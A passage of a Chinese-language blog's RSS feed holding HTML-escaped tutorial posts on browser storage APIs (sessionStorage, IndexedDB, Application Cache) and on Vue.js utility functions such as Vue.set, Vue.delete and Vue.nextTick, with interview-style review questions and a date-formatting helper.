&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sessionValue&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sessionStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;sessionKey&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 删除数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sessionStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;removeItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;sessionKey&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 清空所有 sessionStorage
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sessionStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;clear&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="3-indexeddb"&gt;3. &lt;strong&gt;IndexedDB&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：适合存储大量的结构化数据，支持异步 API 和事务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用方式&lt;/strong&gt;： IndexedDB 的使用较为复杂，通常涉及打开数据库、创建事务、存储和检索数据等操作。一个简单的示例如下：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;request&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;indexedDB&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;open&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;myDatabase&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;onupgradeneeded&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;db&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;objectStore&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;db&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createObjectStore&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;myObjectStore&amp;#39;&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;keyPath&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;id&amp;#39;&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;request&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;onsuccess&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;db&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;result&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transaction&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;db&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;transaction&lt;/span&gt;([&lt;span style="color:#e6db74"&gt;&amp;#39;myObjectStore&amp;#39;&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;readwrite&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;objectStore&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transaction&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;objectStore&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;myObjectStore&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;objectStore&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;add&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;John Doe&amp;#39;&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="4-application-cache弃用"&gt;4. &lt;strong&gt;Application Cache（弃用）&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：通过 manifest 文件指定需要缓存的资源，允许在离线时访问应用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用方式&lt;/strong&gt;： 在 HTML 文档中指定 manifest 文件：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;manifest&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;app.manifest&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后在 &lt;code&gt;app.manifest&lt;/code&gt; 文件中列出需要缓存的资源：&lt;/p&gt;</description></item><item><title>工具函数</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-015/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-015/</guid><description>&lt;h4 id="一vueutilvuejs的工具函数集合"&gt;一、Vue.util：Vue.js的工具函数集合&lt;/h4&gt;
&lt;p&gt;Vue.util是Vue.js内部的一个工具函数集合，包含了多种实用的方法，用于处理各种常见的任务。然而，需要注意的是，Vue.util并不是Vue.js公开API的一部分，这意味着它的使用可能会随着Vue.js版本的更新而发生变化。因此，在开发过程中，应尽量避免直接使用Vue.util中的方法，而是使用Vue.js提供的公开API或其他更稳定的解决方案。&lt;/p&gt;
&lt;p&gt;尽管如此，了解Vue.util中的一些方法仍然有助于我们更好地理解Vue.js的内部机制。例如，Vue.util.extend方法用于将一个或多个对象的属性混合到目标对象中，这在需要将多个对象合并到一个新对象中时非常有用。然而，随着Vue.js的发展，许多原本在Vue.util中的方法已经被移动到其他更合适的API中，或者被更现代的方法所替代。&lt;/p&gt;
&lt;h4 id="二vueset动态添加响应式属性"&gt;二、Vue.set：动态添加响应式属性&lt;/h4&gt;
&lt;p&gt;Vue.set是Vue.js提供的一个全局方法，用于向响应式对象添加一个新的属性，并确保该属性是响应式的。在默认情况下，Vue.js只能检测到已经存在的对象的属性并将其转换为响应式属性，但对于后期动态添加的属性，Vue.js无法自动进行响应式转换。这时，就可以使用Vue.set方法手动将属性转换为响应式。&lt;/p&gt;
&lt;p&gt;Vue.set方法接受三个参数：对象、属性名和属性值。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;vm&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;someObject&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;newProperty&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;Hello, Vue!&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码将&lt;code&gt;someObject&lt;/code&gt;对象的&lt;code&gt;newProperty&lt;/code&gt;属性设置为&lt;code&gt;'Hello, Vue!'&lt;/code&gt;，并将其转换为响应式属性。这样，当属性值发生修改时，Vue可以检测到并响应式地更新视图。&lt;/p&gt;
&lt;p&gt;Vue.set方法的主要优势在于它能够将属性添加为响应式属性，使得Vue.js能够跟踪和响应属性值的变化，从而及时更新视图。此外，Vue.set方法还可以用于在数组中添加新元素，使其成为响应式。&lt;/p&gt;
&lt;h4 id="三vuedelete删除响应式对象的属性"&gt;三、Vue.delete：删除响应式对象的属性&lt;/h4&gt;
&lt;p&gt;Vue.delete是Vue.js提供的另一个全局方法，用于从响应式对象中删除指定的属性。与Vue.set方法类似，Vue.delete也可以触发响应式更新，使Vue能够正确追踪到属性的删除操作。&lt;/p&gt;
&lt;p&gt;Vue.delete方法接受两个参数：要删除的属性所在的对象和要删除的属性名。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;delete&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;someObject&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;someProperty&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面的代码将从&lt;code&gt;someObject&lt;/code&gt;对象中删除&lt;code&gt;someProperty&lt;/code&gt;属性，并相应地更新视图。&lt;/p&gt;
&lt;p&gt;需要注意的是，Vue.delete方法只能用于响应式对象，而不能用于普通的JavaScript对象。此外，在删除数组中的元素时，Vue.js提供了一些数组特定的方法（如splice、push、pop等）来确保数组的响应式更新。因此，在删除数组元素时，应优先使用这些方法而不是Vue.delete。&lt;/p&gt;
&lt;h4 id="四实际应用中的注意事项"&gt;四、实际应用中的注意事项&lt;/h4&gt;
&lt;p&gt;在使用Vue.set和Vue.delete等工具函数时，需要注意以下几点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;避免直接操作对象或数组&lt;/strong&gt;：在Vue.js中，直接修改对象或数组的属性或元素可能不会触发视图更新。因此，应优先使用Vue.set和Vue提供的数组方法来修改响应式数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意命名冲突&lt;/strong&gt;：在添加新属性时，应确保属性名不与现有属性名冲突，以避免覆盖现有属性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;了解Vue.js的响应式机制&lt;/strong&gt;：为了更好地使用Vue.set和Vue.delete等工具函数，需要了解Vue.js的响应式机制以及它是如何跟踪和响应数据变化的。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;h3 id="1-vue-内置工具函数"&gt;&lt;strong&gt;1. Vue 内置工具函数&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题"&gt;&lt;strong&gt;问题：&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Vue 提供了哪些内置工具函数？&lt;/li&gt;
&lt;li&gt;这些工具函数的使用场景是什么？&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="考察点"&gt;&lt;strong&gt;考察点：&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue.set 和 Vue.delete&lt;/strong&gt;： Vue 中的 &lt;code&gt;Vue.set&lt;/code&gt; 和 &lt;code&gt;Vue.delete&lt;/code&gt; 是为了响应式系统而提供的工具函数，它们用于确保在数组或对象中添加、删除元素时，能够保持数据的响应性。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Vue.set&lt;/code&gt;：用于向对象中添加新的属性，并确保该属性是响应式的。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;newProp&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Vue.delete&lt;/code&gt;：用于删除对象或数组中的元素，并保持响应性。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;delete&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;propertyName&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;delete&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue.nextTick&lt;/strong&gt;： &lt;code&gt;Vue.nextTick&lt;/code&gt; 是一个异步队列，用于在 DOM 更新后执行回调函数。它保证了在 Vue 完成 DOM 更新后，回调才会被执行。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;nextTick&lt;/span&gt;(() =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;DOM has been updated!&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue.util&lt;/strong&gt;： Vue 提供了一些工具函数，如 &lt;code&gt;Vue.util.extend&lt;/code&gt; 用于对象的深拷贝，&lt;code&gt;Vue.util.merge&lt;/code&gt; 用于合并对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="2-自定义工具函数的常见应用"&gt;&lt;strong&gt;2. 自定义工具函数的常见应用&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题-1"&gt;&lt;strong&gt;问题：&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;你在 Vue 项目中常用哪些自定义工具函数？请列举一些例子。&lt;/li&gt;
&lt;li&gt;如何编写一个简单的工具函数来简化 Vue 中的日期格式化？&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="考察点-1"&gt;&lt;strong&gt;考察点：&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;日期格式化工具函数&lt;/strong&gt;： 在 Vue 项目中，常常需要对日期进行格式化。你可以创建一个工具函数来统一处理日期格式。 在组件中使用该工具函数：&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// utils/date.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formatDate&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;date&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;format&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;YYYY-MM-DD&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;d&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Date(&lt;span style="color:#a6e22e"&gt;date&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;map&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;YYYY&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getFullYear&lt;/span&gt;(),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;MM&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String(&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getMonth&lt;/span&gt;() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;DD&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String(&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getDate&lt;/span&gt;()).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;HH&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String(&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getHours&lt;/span&gt;()).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;mm&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String(&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getMinutes&lt;/span&gt;()).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ss&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; String(&lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getSeconds&lt;/span&gt;()).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;format&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;replace&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;/YYYY|MM|DD|HH|mm|ss/g&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;matched&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;matched&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;formatDate&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./utils/date&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;date&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;2024-12-15T12:00:00&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;computed&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;formattedDate&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;formatDate&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;date&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;YYYY-MM-DD HH:mm:ss&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;深拷贝工具函数&lt;/strong&gt;： 在某些场景下，你可能需要深拷贝对象，避免对原始对象进行修改。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
